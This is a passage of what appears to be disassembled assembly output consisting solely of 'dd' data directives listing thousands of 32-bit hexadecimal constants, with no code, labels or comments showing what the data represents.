		dd 0B8708E6Bh, 16665864h, 0ECA7E9BBh, 9AC94A54h, 0F2B86D29h
		dd 8501AC1Eh, 6B90ED6h,	4AA5E8D2h, 0F14EBFCBh, 0BAD5D253h
		dd 810FB7D0h, 1BF72625h, 89BFD4E9h, 83CA0295h, 4AB54C67h
		dd 0F446D951h, 1822675h, 2B65BD84h, 0F994242Eh,	15B8D1h
		dd 9034EA84h, 8B60379Fh, 9661CF17h, 99A11702h, 7851F350h
		dd 4F278707h, 0AF4782E5h, 1BB5578Bh, 0B2801A91h, 9A08DD03h
		dd 6805A290h, 6A5B0E5Ah, 0C04A61B8h, 440DA5D3h,	359856F4h
		dd 5BDAD554h, 75BA1297h, 0AC70A8F3h, 8F400CCBh,	0E15C721Dh
		dd 9D501440h, 0FB383187h, 24045202h, 85809AB7h,	89A3EBEAh
		dd 0BFA54E8Dh, 14698E27h, 707BBBCCh, 33049C73h,	61F529B5h
		dd 6592381h, 2185B217h,	0B5259E57h, 9C0F1805h, 52009A96h
		dd 0A8921E05h, 72F267h,	0B7869B60h, 0BB19D812h,	0F753A527h
		dd 5B5FBF10h, 6E121497h, 8FC91F26h, 47740B92h, 77BC0340h
		dd 0F7891610h, 8D1AA084h, 125B2B40h, 0C821E9F5h, 2EFB69F1h
		dd 0ADA5D93Bh, 4833B8EBh, 8D13D790h, 5645359h, 461C7D5h
		dd 0CD2A85D4h, 5B8535DEh, 7501C149h, 4B90AE66h,	0E5F92506h
		dd 0FCD2101Bh, 0E1038C1Bh, 71234FCh, 5CAF8A22h,	667F4996h
		dd 0A2360023h, 0EB21C78Ah, 6E489D10h, 5E8DB325h, 9406E8Bh
		dd 82B1104Fh, 5EFDC7D3h, 77706BA1h, 15380341h, 0C8829A5Fh
		dd 0F808C515h, 2A19C0CAh, 1CD476C1h, 4015BDD2h,	45BE3C3Dh
		dd 3BF3899Ah, 59B81312h, 0A66AFBA4h, 4074E12h, 0AE2EADF8h
		dd 25575273h, 1E79D9DEh, 50F2F349h, 8D983ED1h, 0FF587225h
		dd 3CF51A20h, 1500F136h, 9673E031h, 444BF50h, 893D5FCEh
		dd 0E1E6EB34h, 21D70AE2h, 35DB5C2h, 0FC5712Ah, 0EC443B80h
		dd 74AFC5B7h, 0A8EBE90Eh, 607B012Eh, 958B88B1h,	42092AEDh
		dd 0D6017461h, 0A3001A46h, 9E541493h, 5EBE8561h, 64DE0840h
		dd 34492436h, 1A7D08F6h, 0FBB3C2A5h, 0FF37D0BEh, 757CF104h
		dd 78811573h, 0DB2B2455h, 0C01CC820h, 79CC5EFEh, 0CE3CED04h
		dd 29C1CFAFh, 892B15D9h, 0D61B38E8h, 8E08804h, 6E5FBDBCh
		dd 11DE0710h, 0F364F0E6h, 0A64EB9BCh, 0F179E080h, 0F7F84AD6h
		dd 0AC74492Ah, 4BFC9F6Fh, 95098543h, 8B127EBDh,	4BCCF3D8h
		dd 956A578Ch, 0F5E2FA4Dh, 27B85933h, 0D1502D45h, 0A44C01ADh
		dd 0C08060D7h, 0A7857EDDh, 16AC14F9h, 0D374178Ch, 0E5770C8Fh
		dd 8E9996AFh, 61AFC080h, 0FA0AA4h, 27D4A184h, 0A3B6F159h
		dd 7760E9BEh, 6C6BBBh, 0EB45899Eh, 1B86A754h, 65460E00h
		dd 60CAFCAFh, 715B7351h, 965F1961h, 6E813466h, 18C8C89Ah
		dd 3DCE3AC0h, 89710467h, 0AA0E959Dh, 14C8AFDBh,	8BF53BC0h
		dd 9E9497FEh, 823E3245h, 0FBF19601h, 3015003Bh,	84030BD3h
		dd 316500C8h, 5D34FDD0h, 577C80F2h, 432AF027h, 0CB044B5Dh
		dd 9606406Dh, 2790FC55h, 754CE16Ah, 41694CCh, 0DF80098Eh
		dd 0E3DDAA68h, 0FFA86A3Dh, 153F0114h, 16249450h, 9CBD04F9h
		dd 39C2BAD3h, 0FAA7D061h, 6620ED69h, 97C67BC9h,	3A45A494h
		dd 4AC9C130h, 6106F721h, 0A7D3F748h, 6F4C122Fh,	11DA0056h
		dd 9B8E58AAh, 0C5094AB7h, 5C7BAE2Dh, 0A003043h,	8D6EF7A3h
		dd 861CE946h, 942FFF2h,	5E1AC1BDh, 71DB696Eh, 138C7150h
		dd 7F18273h, 990A0560h,	0C401776h, 0EC6922h, 9A8A7766h
		dd 0AF730799h, 0D9DD1A0Fh, 7DF75219h, 81FC9A5Eh, 1DA68D4Eh
		dd 4AB7BCD4h, 0DB7ED4F8h, 0CDBED384h, 7422382h,	0A5C16BDEh
		dd 585E32C0h, 6EF304E2h, 0E8B7D4B1h, 0E8E617DDh, 5A4B30BDh
		dd 0C249100Fh, 12EE0616h, 0B618CDF8h, 0C060F22Ch, 970971CEh
		dd 9D8B7790h, 0C982BD4Bh, 0B9BF9890h, 2B8D00C5h, 0CB65DAE1h
		dd 53005FBBh, 6331D63Bh, 0F150868Fh, 125A8130h,	0E6905BD0h
		dd 0FEDCE0B8h, 1345705Ch, 0BE60EBD1h, 0E3066CDh, 0FCA9B430h
		dd 0EF7AE401h, 19D2F850h, 4F751F70h, 9238DF09h,	0B9964FFCh
		dd 8C1AAC53h, 54FA3A01h
		dd 0D8513194h, 409D202Eh, 2F00FBA4h, 0AE71E3C5h, 988687Eh
		dd 0BB9BA3CEh, 5BA504D3h, 0F64350B0h, 0B10076FEh, 533BF60h
		dd 2C8B65B3h, 0AD40398Dh, 0D9938770h, 18F00778h, 0A50E44Eh
		dd 0AE136EBBh, 1A24418h, 60FCA789h, 0A005C663h,	9787AD7h
		dd 26A5EC0h, 48DC3B54h,	0D1102094h, 0CF801D02h,	44EB896Dh
		dd 14A7729h, 0F0FC3D55h, 6103B5ADh, 8026685Ch, 975C901Bh
		dd 0CBA0B5A4h, 3D8C78BFh, 0B79F6A7Dh, 4BDE003Ch, 0CBA69315h
		dd 81D9822Eh, 35355552h, 42A9F1A5h, 9C5799E9h, 0CE02169Ah
		dd 49A7A18h, 65B03582h,	0DBE03FF6h, 0B52789A3h,	7B2009FDh
		dd 80CDAF65h, 0A384EC40h, 0BD230849h, 252A25E1h, 907B540Dh
		dd 0D9610260h, 405EB83Eh, 98093EE2h, 0CD904F1Eh, 3EBCE50h
		dd 2BE9158Fh, 60520774h, 972F59F9h, 0BA48074Fh,	0D0F647E0h
		dd 0BD0B1708h, 6BB5A18Dh, 9A3BEF9Dh, 0F1B781A1h, 0AEF81AA4h
		dd 3BC4139Bh, 24E80131h, 3BFF6A7Eh, 0A0012D6Eh,	0EA3EC897h
		dd 0EA914576h, 8B85275Fh, 0B6C15BD9h, 7A2A2319h, 0F8820F09h
		dd 0F8F0C974h, 8A0E4EB1h, 0EBB47E93h, 11D4142h,	0C2B032B3h
		dd 0FE40F774h, 0C01150h, 87548BE7h, 2A6ECAB2h, 0B52F29F6h
		dd 0C6352C5h, 71E470E6h, 0E6B5114Fh, 41BB45D3h,	2E08F940h
		dd 0C06A4E89h, 0BAAED40Eh, 0B7D217F5h, 0BF99E0D9h, 0EDCB13B3h
		dd 815CA071h, 0FD53EF09h, 5DA65766h, 0BF00442Bh, 0D18B70FEh
		dd 65E9EBB3h, 0BCFC4B83h, 2E6B80B2h, 0D047E1h, 78B4A933h
		dd 19A60174h, 4C2C090Eh, 3D8572B5h, 0BC5F34AFh,	0C380085Eh
		dd 1DE0B1E9h, 5E323A2Dh, 0E9F92119h, 6D0DAC45h,	3E32A960h
		dd 0CCEA00ACh, 47CEA425h, 4D2782F7h, 9668461Ah,	48E425D4h
		dd 10D02053h, 0D94B2C65h, 77047E49h, 0E3C43E17h, 5E495D1Ah
		dd 4BE8CE45h, 70C27B2Fh, 0DC163476h, 5A0F8C5h, 4C02830Eh
		dd 0C591FBFh, 0CD92E063h, 0BFE5B51Ch, 508C7BA7h, 0FF3B82A9h
		dd 0FAE50112h, 0FF8B9F5h, 0ED5D8748h, 36FCE111h, 0D7A2F14Fh
		dd 5EBFA570h, 617AA0D8h, 140469Fh, 0A84B5B4h, 0F110B0DAh
		dd 66092BEDh, 76595Fh, 9D955A06h, 0CA1D2D01h, 7AA78D89h
		dd 0C02B264Ch, 9400DE3Ah, 0E20B0CAh, 1993C07Dh,	7EF9CEA3h
		dd 78243AD9h, 73F6F212h, 0A555B6D2h, 5F8FB2AEh,	3FE05CB6h
		dd 9AD23294h, 0D84059F2h, 2D7BF135h, 496A2B3Eh,	49DC9802h
		dd 7A74F562h, 21846D6h,	0C658F205h, 27175DCEh, 401D4DA7h
		dd 2921409Dh, 77FC3FE9h, 717DCA4Bh, 70DA8B88h, 78EFBFB8h
		dd 0F0808367h, 0E8A88Dh, 813ECCD5h, 2E5DC2DBh, 9C9D434Eh
		dd 0C1A8D73Dh, 0F689FA24h, 922AF108h, 7386FE1h,	2FB6D54Ah
		dd 95096E60h, 32479735h, 5F03FB89h, 0CB0140BDh,	0E9CCEE76h
		dd 50E64CA7h, 391A512Bh, 0DD210110h, 6E181CF9h,	722BE800h
		dd 6ABA805Fh, 4E1ABA5Bh, 21978A60h, 818D0472h, 0B7600B29h
		dd 216782F4h, 0BF783E8Bh, 42A44327h, 845EB786h,	0E8110EACh
		dd 29F65A7Eh, 5B0E96E0h, 38289F09h, 447FD2B1h, 55B26040h
		dd 45B53319h, 743A61FBh, 0A031E687h, 9E6A774h, 1C4E783Eh
		dd 90A583D1h, 0C8351Ch,	0F9F8FD2Ch, 10097572h, 0C671EB02h
		dd 432B84C5h, 908514D2h, 0E25A1BE8h, 7AB00E2h, 6367BFA5h
		dd 0D911725h, 0B836310Eh, 4B90C0FEh, 27A6F701h,	26FB7DCBh
		dd 0E50E8CCh, 5F1B3EDBh, 5DCCBBB3h, 9C7212BBh, 0E1C9C590h
		dd 309E7BB0h, 9D006D94h, 0C571088Ah, 6803D935h,	957BB0B6h
		dd 16AEE40Fh, 2CF56212h, 111727Fh, 0DE1D8333h, 3EBC9867h
		dd 4900A5FCh, 316AA353h, 9BF898Dh, 0D61B5EF0h, 0E1271446h
		dd 4BF7D46h, 0E9022C76h, 6F550187h, 0D04F41A4h,	0B83420CBh
		dd 40B0F077h, 35224924h, 0B7779066h, 0E92B2884h, 8531C25Ah
		dd 25FDDE6Dh, 0BF0459E6h, 5F244A28h, 0E9D258E9h, 0FB1A872h
		dd 8FD1DC80h, 880F9CAh,	891A2A9Dh, 57EDC204h, 64252A45h
		dd 526F00E0h, 45D513C8h, 8018EF2Fh, 0BD9AD3F3h,	881C4E61h
		dd 0EB3D8163h, 2E138177h, 0E8605696h, 0E5806978h, 186BE7E0h
		dd 87C4E00h, 168EEDA3h,	0ADE800D0h, 0F2CEA99Dh,	0E2008A5Eh
		dd 0BB505B61h, 25C8F3FDh, 0F85B9676h, 1EF7D70h,	1B1CDCDDh
		dd 68119D09h, 67CD4BECh, 0C562DC6Bh, 90683040h,	0E1882475h
		dd 0ADB9824Fh, 0B7DD1E96h, 0A9FA0344h, 5FA0C78Dh, 34134498h
		dd 6CA1F5DAh, 0C0C6DE6Bh, 70987BA5h, 95292753h,	0FFC90ADDh
		dd 0B4DDCE25h, 0D7A83CABh, 157D2DCEh, 0BD0472F3h, 5E14266Dh
		dd 11059D09h, 0FE228D1h, 2630758Eh, 330BB308h, 743049BDh
		dd 3B2D7133h, 74E889EDh, 453E7D02h, 740DB71Ah, 0B529401Ah
		dd 768730ADh, 699D8904h, 0B3FE1423h, 756300E1h,	5B94CF0h
		dd 61250073h, 48E02042h, 2EE8165Eh, 0C031C858h,	22C57A3h
		dd 8F6A01D6h, 0D1B7DBA7h, 7BB9DC50h, 43F29497h,	0F06A5F20h
		dd 0ECF9221Fh, 75486041h, 3400ECD7h, 407D8E02h,	0F8442CC1h
		dd 7F220992h, 1167525h,	0F776DE69h, 2EE0184Dh, 93A612Dh
		dd 1244CE63h, 0D64A5309h, 165970FBh, 0BA258618h, 9FD0EEB0h
		dd 9A015235h, 0FEB70F5Ah, 0AE24122Fh, 0AB12127Bh, 5BE5F7F8h
		dd 3E006F6Ah, 0B6EE40E4h, 81005532h, 539899DBh,	9851964Dh
		dd 0ED5FE6B5h, 8DECB6A5h, 73C90997h, 33B5AFB5h,	92983D00h
		dd 0AA4E512h, 0B5B76F8Eh, 0D94FA58Fh, 0E6F25361h, 7E3050CDh
		dd 8105E309h, 2F0D0775h, 10BDAA74h, 434B6DA8h, 14C89FDAh
		dd 60EF2AC4h, 919D3165h, 0F27AE9Ah, 8CBAD58Ch, 85630EFEh
		dd 7D6E84Ah, 5AC10026h,	61240A96h, 5197C283h, 0EB9E02h
		dd 0B1B96020h, 0D37E2E0Dh, 4309D6E8h, 781F79FEh, 51095CA2h
		dd 0B913845Bh, 89AD289h, 7DEC0E81h, 7D602FE6h, 9F6ADAB7h
		dd 61E0034Dh, 9371362h,	0DF7B52A8h, 6C9568D8h, 0C8EB04C9h
		dd 0AB5B9255h, 3BBBBCD8h, 7627A577h, 97B74462h,	8202E080h
		dd 5C589C2Ah, 0C948D1C0h, 32736269h, 36181C59h,	5116A100h
		dd 963EDCF7h, 0FB0F4ED6h, 5DBF7B40h, 971C64D7h,	6E603B99h
		dd 0C8A11720h, 97372C98h, 35C102BBh, 2D5E61AAh,	81153951h
		dd 531F9D2h, 1DECF612h,	0CDC8FA93h, 0EC650145h,	27C9D8A2h
		dd 15A120F4h, 0E98B97Fh, 1A0BE928h, 6255C903h, 809E657Fh
		dd 94A3F70h, 0B9953196h, 9209AA42h, 5FF0D5FBh, 395309C5h
		dd 8A1B5A41h, 3548DDE0h, 0D600EE79h, 0C95BD03Fh, 160A6730h
		dd 0BD02C8DBh, 0C8BD8E82h, 700B2D2Fh, 355D4BC2h, 80199145h
		dd 0C5B557A2h, 0C2B05031h, 86C225EFh, 4439F87Bh, 0A6170525h
		dd 838F5F47h, 9F4A1956h, 3EC8F9E2h, 0DD9D0382h,	0E9555E08h
		dd 0DC815Eh, 0EF120C2Ch, 0B0BB8E38h, 0D1852909h, 40C55E10h
		dd 20ED381h, 148767F0h,	530EF53h, 0B0E95F35h, 29CDE095h
		dd 0C89259Dh, 19E440E7h, 299CD160h, 0CA593E14h,	57916D5h
		dd 4F098AEBh, 2553FFBh,	8A25BD22h, 0A7295EFAh, 0D0706773h
		dd 0A976090Ch, 2B052B91h, 343FAF24h, 76031423h,	4A75B529h
		dd 0D29120E9h, 12004EB6h, 85998849h, 55C344h, 0B07DBEA4h
		dd 0D535693Dh, 81A2175Fh, 0A4665B00h, 86BFFE91h, 7768E30Bh
		dd 9A778DCCh, 93B4ED6Ah, 0AD038294h, 0FD18DE2Ah, 75C0C5DBh
		dd 42BFDA23h, 0A5685E38h, 58A1E0C2h, 858909EAh,	0B5571965h
		dd 801B11A3h, 141FCE6Ch, 53190080h, 5690BF0Dh, 0A5907C7Eh
		dd 5F0B0920h, 60842050h, 0BA00A708h, 7DD66F27h,	12C0EAD8h
		dd 5C9ADE86h, 0C1B5C900h
		dd 0CBDB5929h, 38A545D1h, 0C2A50BF1h, 0C4F3D540h, 0B7CCE6D1h
		dd 0BD5F4E77h, 8C17AC11h, 34157202h, 4DD1FFB5h,	5897E19Dh
		dd 0E8C27BF5h, 1A1C5D14h, 18F2C043h, 2568AC30h,	4B567A16h
		dd 6AF2A802h, 0CFB75D02h, 0D6B7FA00h, 9DFD8AD5h, 0FCA56571h
		dd 243FE004h, 0EC147629h, 22D2C2C5h, 0E7B90013h, 0CD8D7FFAh
		dd 1A00B17Ch, 64826CCFh, 0E086CADAh, 0FCFE4A48h, 0F5B0971h
		dd 408A5C31h, 9CACB84Bh, 0B2103A0Bh, 132FFC6Dh,	6BF290h
		dd 0ABAD3650h, 7841C17h, 6C31FD3h, 0C40500F9h, 8F4A4E7Dh
		dd 4FCE96F0h, 2DAC043Fh, 582CBA2Bh, 71E6B7FBh, 0E9D1B709h
		dd 71607429h, 27F22134h, 86B0A09Fh, 518CC54Eh, 0D9A4890Ah
		dd 66D82B1Bh, 41CF0125h, 1207C290h, 75E4F408h, 17DA4B12h
		dd 16AC92E9h, 6B18138Ch, 2C73F1EBh, 0E0F88096h,	61E6B0h
		dd 2A3F103Dh, 36AB86B7h, 88696607h, 0FA69C9B9h,	0EDFEAA7Fh
		dd 685AC047h, 4A7C1F84h, 799EF225h, 20A105ABh, 1C93C009h
		dd 1F04EB46h, 532419ABh, 0EC9044BDh, 0B838A04h,	0D644BC40h
		dd 847D9BABh, 3CBDF3C4h, 801BDAD3h, 0F16C7455h,	0FF6A27F8h
		dd 0E1070AB7h, 0E3E0A725h, 5CDDDB62h, 992DAF37h, 0FB24F3FAh
		dd 1115757h, 0F65FFC12h, 1D2E3011h, 25F98B53h, 26E4315Bh
		dd 57B8B070h, 1025A520h, 56670E6h, 71E491A6h, 9EA29BC4h
		dd 37EAD980h, 647B27F9h, 62537803h, 0A88C51DDh,	970F6A56h
		dd 0EBEF1BA4h, 1AD0A9Ch, 1795F45Bh, 0F0222656h,	1BB0D070h
		dd 4B1ADD20h, 8B2CC15Bh, 29202FFAh, 814DDF80h, 61DA7060h
		dd 5ED21141h, 0DB80042Ch, 8129BC7Fh, 498D2956h,	0B75FA624h
		dd 0E8D1A122h, 2CFE6480h, 0E300155Bh, 2DC3B01h,	69304A6h
		dd 41A2F767h, 9122446Dh, 87E93307h, 11E1093Bh, 70216A31h
		dd 98921B53h, 0FED2C804h, 463E8B97h, 0ED3ADD7Fh, 25FCE02Fh
		dd 150D41E9h, 52E9A781h, 9D0B0F85h, 4B43E841h, 9901358Dh
		dd 0F62A16EDh, 43722D7h, 71BD8956h, 7B5B090Ch, 52BF013Ah
		dd 47A18B0h, 0C0FE5914h, 0FEC78155h, 7D480015h,	0FAB15CAAh
		dd 3F1CF519h, 0A549DFF9h, 84F7B47h, 467C5BE1h, 3F93481Ch
		dd 0D3100194h, 6ADFE46Bh, 0C0BDDB3Bh, 9F08C831h, 0F3E3173Fh
		dd 0EFE630F9h, 6400D857h, 40FD0478h, 45F6341h, 69B5094Bh
		dd 3B9BAE2Eh, 0E1CE1BC8h, 99F52B91h, 609EF12Eh,	244049A6h
		dd 10CF38B9h, 0C0099B4Ah, 0B9B7D35Ch, 0D76A008Eh, 57BF90FBh
		dd 619734B1h, 9B2AFC83h, 0B8D99773h, 2089B29Dh,	0FC5FE195h
		dd 0CBB88C7Dh, 8B0B7874h, 8034E562h, 2BCE5644h,	84954A9Dh
		dd 0A897AD8Fh, 57138C15h, 3CE3BA14h, 0A23015F2h, 0C151BEC9h
		dd 6E23E19Dh, 0DA4E11DFh, 0BEB4801Bh, 4FD5E50Dh, 0AFBFC807h
		dd 3F4F0109h, 0C8DB0F53h, 0B5D5AD19h, 6DD3840Bh, 8183E80Dh
		dd 0ED4EEBC7h, 603CC86Ah, 0C802EB9h, 8B849439h,	7ADC0393h
		dd 0D60656B7h, 0CC801798h, 5B61C613h, 0BE5D06A2h, 0DB97E8B8h
		dd 3D18873h, 0F8139424h, 0FC2505A3h, 3363E6E5h,	7719CA9Dh
		dd 7540FCCFh, 0B8BD71D0h, 159120BAh, 17BF6609h,	47F17957h
		dd 0BDD70955h, 451102CDh, 774458A3h, 0DCF7D49Fh, 0D7436513h
		dd 284C02A3h, 0BF10D51Ah, 4E8B15C0h, 0E5E1FF25h, 42F39C2h
		dd 0DDD271F3h, 0CF0254D1h, 0C10CA72Ah, 9DA1543h, 350D1B02h
		dd 0EC71C75Eh, 0E98D3110h, 3CB3344Bh, 0B7ADA388h, 84550926h
		dd 2DE47474h, 0EDA494BEh, 0E3B8B832h, 6EC1172Fh, 1AEF09F2h
		dd 94C1789Dh, 8503409Ch, 0ED002396h, 333C200Eh,	126DE5D5h
		dd 0F4BDA13Fh, 14A5DB3h, 94A0D5A7h, 460B50FDh, 5C196DC7h
		dd 0BCE140F9h, 221CC9ADh, 0CAC95F04h, 0A5D97BFEh, 370511B5h
		dd 0A2BB8A94h, 7D4B0088h, 0B8E0707Bh, 2DC0EE6Bh, 63DB2BD1h
		dd 0E8191759h, 0CBA0DD33h, 9004F88Bh, 6050DA8Ah, 0D85F2BCh
		dd 47328039h, 0D90E941Ch, 0A2768102h, 7D38897Bh, 0BA66EB00h
		dd 90EC5B3Dh, 0DF2B7B5h, 3A3A0C0Dh, 849C2h, 0B8852568h
		dd 3A20B75Ah, 1C7EF6CDh, 8006C6E0h, 612B0D5Ch, 0E6012188h
		dd 518D3B80h, 0A32BA99Ch, 0DD8A132Eh, 8CAC7384h, 667EDA04h
		dd 0E5F4F648h, 98D4DC9Ch, 2B252579h, 0D16265D9h, 0E9121412h
		dd 1298016Ch, 80ED0075h, 0BF6ED938h, 970051B6h,	0A3260943h
		dd 25E740B3h, 0D0E2870Bh, 605CEF75h, 0B177BBF3h, 0FEA60E5Bh
		dd 4B35EE50h, 29EBDC05h, 104B9D77h, 893744B7h, 0BD2CE4E1h
		dd 0A1BBCAC4h, 0E27FA00Bh, 31B55C85h, 3150FF0Ch, 0A0822829h
		dd 745EE2C5h, 0CBD60008h, 55E1EC52h, 0E50217CAh, 89EDB797h
		dd 0E4CD5734h, 0C048DCE9h, 1CA5BD29h, 62ABBA97h, 9F237782h
		dd 0DAB00F68h, 9849B3DCh, 0A6F0041Bh, 0D8EE2344h, 0EB848D75h
		dd 88EADA6Eh, 4D0CC019h, 0EB078474h, 0A1A5BF75h, 0C7826B24h
		dd 3EB14056h, 0FC595CBCh, 0BEDAC038h, 0FFE63F16h, 1B9A3CE0h
		dd 126E2201h, 0DAC255A9h, 2FC5D571h, 0E3D8C04h,	2ACB39h
		dd 0D1D015B6h, 9377219Bh, 13511675h, 21F5F55Dh,	0BA9B3A03h
		dd 1982AB8Bh, 0E15EB7D9h, 3FE78158h, 2AA5F36Eh,	0CD27D6EFh
		dd 1DAF43E3h, 0F2257EA6h, 3BD6E444h, 1621BD0Bh,	0F810A7DDh
		dd 3700DD80h, 78162642h, 126C73F6h, 0F66625E6h,	3CA5E037h
		dd 3B429FC6h, 9A53D75Ch, 0ABBDD504h, 87C41700h,	24FF71A2h
		dd 1772E44Bh, 1360E821h, 0D0A30639h, 0EF03C984h, 0D701E97Ah
		dd 6D85018Eh, 7B26A1Bh,	0A86F1692h, 0DABD4AECh,	18C14B8h
		dd 0B9BF52EAh, 2E3B8E83h, 9B8C54A0h, 610BF016h,	8418E87Dh
		dd 0E5AE60BBh, 0B9668021h, 61CF6C12h, 0B65EC4F7h, 0D8D0A3D7h
		dd 474392Ch, 0E7C47750h, 0A7C9EA01h, 75B5302Ah,	0ED00DBB5h
		dd 0E301FB96h, 9ABB82CDh, 7AACA0DBh, 66959538h,	18BD6740h
		dd 6B9000E0h, 0DCE9D381h, 0D39572A5h, 181D59BBh, 1EA1006Eh
		dd 0F891F696h, 0A34C069Dh, 38974EFh, 0A33BC5E9h, 0BB6B9674h
		dd 0F2319705h, 0FCBE2ECh, 81990A3Dh, 0ED9450FBh, 4B79BD60h
		dd 4CB6A706h, 1C2512D5h, 0FAD294E9h, 9C538C16h,	5AAF6BEEh
		dd 0CA65DA61h, 41090760h, 0DE172E11h, 2D7CDA6Eh, 4579F999h
		dd 553DC400h, 0BB13CBEh, 0AC4C15DAh, 99724D0h, 0AD2137F9h
		dd 9A975F4Eh, 8B84DD16h, 867781DEh, 4DB72BB8h, 0A4707FB0h
		dd 0E5076B02h, 609A9447h, 5BDEBF80h, 7454556Ah,	0F1210E93h
		dd 0EDFC2F10h, 631464DBh, 0FF6425CDh, 791D24D0h, 82B450C9h
		dd 5AA03C35h, 5F054029h, 640B4D97h, 0E3376016h,	9D2B096Bh
		dd 1C5D0649h, 8023444Ah, 0A479C730h, 5CD4B6BFh,	38C0F650h
		dd 97DD20B5h, 0ABA71F09h, 743BDDC1h, 0DAB7D013h, 1DB25FA6h
		dd 9FC130h, 0A294EF7Eh,	91CE8630h, 0B73C69Dh, 1475B509h
		dd 9EF01657h, 0BD14D49Fh, 965BF50Ah, 91BAFD2h, 63288DD5h
		dd 69C15EEAh, 0A7703C7Bh, 21C01CFBh, 0D0E565AEh, 0D482A11h
		dd 0F71B4D12h, 27884AD0h, 0F2A00002h, 89A344E5h, 0FF005A90h
		dd 712F27FAh, 7DAA1042h, 5AB77F51h, 0A6F1B95Fh,	23F92068h
		dd 0E229E925h, 4B755BAh, 13E4DF00h, 0EDE11631h,	13D2B928h
		dd 4C32A94Bh, 12C12ED3h, 7B037909h, 815680C2h, 4EF66CBh
		dd 5C5B5125h, 0AED8133Dh, 7B316830h, 5DD200B4h,	211A2B30h
		dd 75008540h, 0E74E0502h, 561DC679h, 29B06390h,	3AFE5F96h
		dd 90D282Fh, 0DE697CC2h, 901C47Dh, 0BA0FFE61h, 0F5731AFFh
		dd 42F4E45Bh, 9EB7B200h, 583849E2h, 8FD6B5ECh, 46058E48h
		dd 2FA118EEh, 8C6E13DDh
		dd 7F00BB60h, 536050B1h, 968BB35Bh, 0AA70A731h,	6A5DC6F6h
		dd 0CCFCE9F1h, 0D79E0192h, 8BDB354Fh, 690F30FAh, 90601732h
		dd 8E3D5B29h, 0E20FE6Eh, 0CB756473h, 0A1B72B05h, 0FADE6A61h
		dd 0AB8CA885h, 95F975D8h, 1B648AEDh, 0B911DB60h, 0F835D026h
		dd 0D1FF7404h, 0C70059F2h, 0E4403A6Ch, 95017F52h, 0F83CB7E0h
		dd 0F3D43D9Eh, 618613ADh, 1121E85Dh, 0B7712425h, 0FC047C4Dh
		dd 0B5F6026Ah, 8CA420E3h, 0F807BA81h, 0BEF3327Ch, 2C47ED30h
		dd 0CF8500D2h, 0F6ADE321h, 3179DD1Eh, 5BF5614Dh, 0AC1E6DA3h
		dd 129C6667h, 0F9165251h, 8C19ACCDh, 9B862707h,	8289477Ch
		dd 23521D0h, 1C5E28E9h,	8FEE5070h, 0A0228D61h, 0B96AAC71h
		dd 13841298h, 0CAC05BADh, 0B3745243h, 0D60185E8h, 55F9F58Bh
		dd 4726BE12h, 3F8C17F1h, 2C037808h, 225909FAh, 0FC5A725Eh
		dd 0F902D427h, 1CEF6DDh, 0E8095578h, 0C803679h,	1AEE9CA0h
		dd 0B53239D6h, 0FA1BD201h, 4FB914Bh, 0D1A67C00h, 1A5711h
		dd 0AE810AB5h, 7E32E9CEh, 0BF520400h, 44F07D4Bh, 0BB90E25Fh
		dd 6A1C796Bh, 0E9A41FBDh, 0CA2EB9FAh, 0DB800946h, 74D13Ah
		dd 0E184BA32h, 0BF00A2BDh, 33C453DAh, 951675Dh,	7B8BC36h
		dd 2360CADEh, 810B95BDh, 6A752F5Fh, 77A02EF6h, 90B50A4h
		dd 0D70EEDBDh, 17B0804Ch, 6104C535h, 0BA4095AAh, 2C2E4108h
		dd 0E5691F35h, 3EF4527Ch, 0CF82364Ch, 2F26E9F7h, 0DEC6775Eh
		dd 0B0F82F2Dh, 16F79B40h, 70E6B913h, 97530FBh, 162D585h
		dd 0E171E436h, 0DD2BD7FFh, 80762876h, 8C7609F3h, 6C0A12EEh
		dd 0BB51F02Fh, 7B9EFC02h, 5E42B74Dh, 30BF4056h,	995F54Ah
		dd 4193D75Ch, 53180CCAh, 30539860h, 8B172F91h, 5B1361F1h
		dd 0AD0DC82Bh, 0C06BA3ADh, 6EE9F8E4h, 8B0763D6h, 5F114C44h
		dd 122FFD8Ah, 8D090434h, 9E2EBC06h, 1705BD46h, 62B72512h
		dd 6C0E36EAh, 0AFF9D6DEh, 14B9D664h, 72C06B4Ch,	8F4FD11Ch
		dd 0E1C2B202h, 0DDC9EAD3h, 0F94BBB14h, 0C67834D9h, 0AD9509C1h
		dd 81A80625h, 0C43EFC5Fh, 8427B916h, 9136CB0h, 1504F877h
		dd 0BF12FE31h, 6BD3D2B2h, 19100B29h, 3CE700F8h,	1EF81ECh
		dd 445228FCh, 50FD2B9h,	22956704h, 6B5365AFh, 0FF301459h
		dd 348D10FFh, 9814803Dh, 0D04B83FCh, 66C02B2Eh,	0DEBAEECBh
		dd 0E9E967C1h, 0CDE94373h, 1E3240C5h, 0C531EEA1h, 1971663Ch
		dd 637FB105h, 59B90ED3h, 0A42D2083h, 95A0556h, 8061B3D2h
		dd 0B22A0871h, 7469C527h, 1D46D602h, 14721E00h,	0E1FEFB75h
		dd 7107B712h, 23A58404h, 412125F4h, 1E9D2B2Ch, 14006A2Bh
		dd 62FC96B9h, 570E3D62h, 5E694A47h, 7A00D487h, 0E2E81FB2h
		dd 2DC55923h, 0E50929F5h, 0CA72295Ch, 0C36D7D9Ch, 0DE8B23E1h
		dd 8137202Eh, 0AF12C0E7h, 21BD5109h, 0AC35A9D3h, 78EE002Ah
		dd 134EF1Eh, 629A6D9Dh,	0EDE1FF2Fh, 0E55CC03Eh,	0D325A80Eh
		dd 115DC5F5h, 2CCA4A91h, 9B1B9F35h, 45EED239h, 0F8238EF5h
		dd 717280BDh, 1F579B2Fh, 0E2B1F4h, 8C395415h, 0CA12B93Bh
		dd 5EE20123h, 3E565E9Bh, 0C587F010h, 2BDB02CBh,	6049B627h
		dd 9F70207Bh, 939000B8h, 62425B73h, 997DEB6h, 0DC70FE60h
		dd 23FC5601h, 53BB6613h, 2CA5A52Bh, 9529209Dh, 412257A4h
		dd 1BE9BD0Bh, 0BCB3752Ah, 6E5F82B1h, 5655E265h,	0D69CE807h
		dd 22D68A00h, 0D4D5A0DBh, 9979B04Bh, 0BA622FEDh, 0DC5CF3E2h
		dd 245CB7DCh, 2CD98B0Bh, 0D3D80654h, 11A4F84Eh,	6800119Dh
		dd 0E017D21Bh, 2E1224BBh, 0C4A0074Ch, 4D3176E4h, 0E3BC8B20h
		dd 18016D79h, 32EA9240h, 28615161h, 0C6F586Eh, 71950BC9h
		dd 87D9644Ch, 0A29B11FDh, 0EA242B65h, 2A859CDEh, 18A4AC2Dh
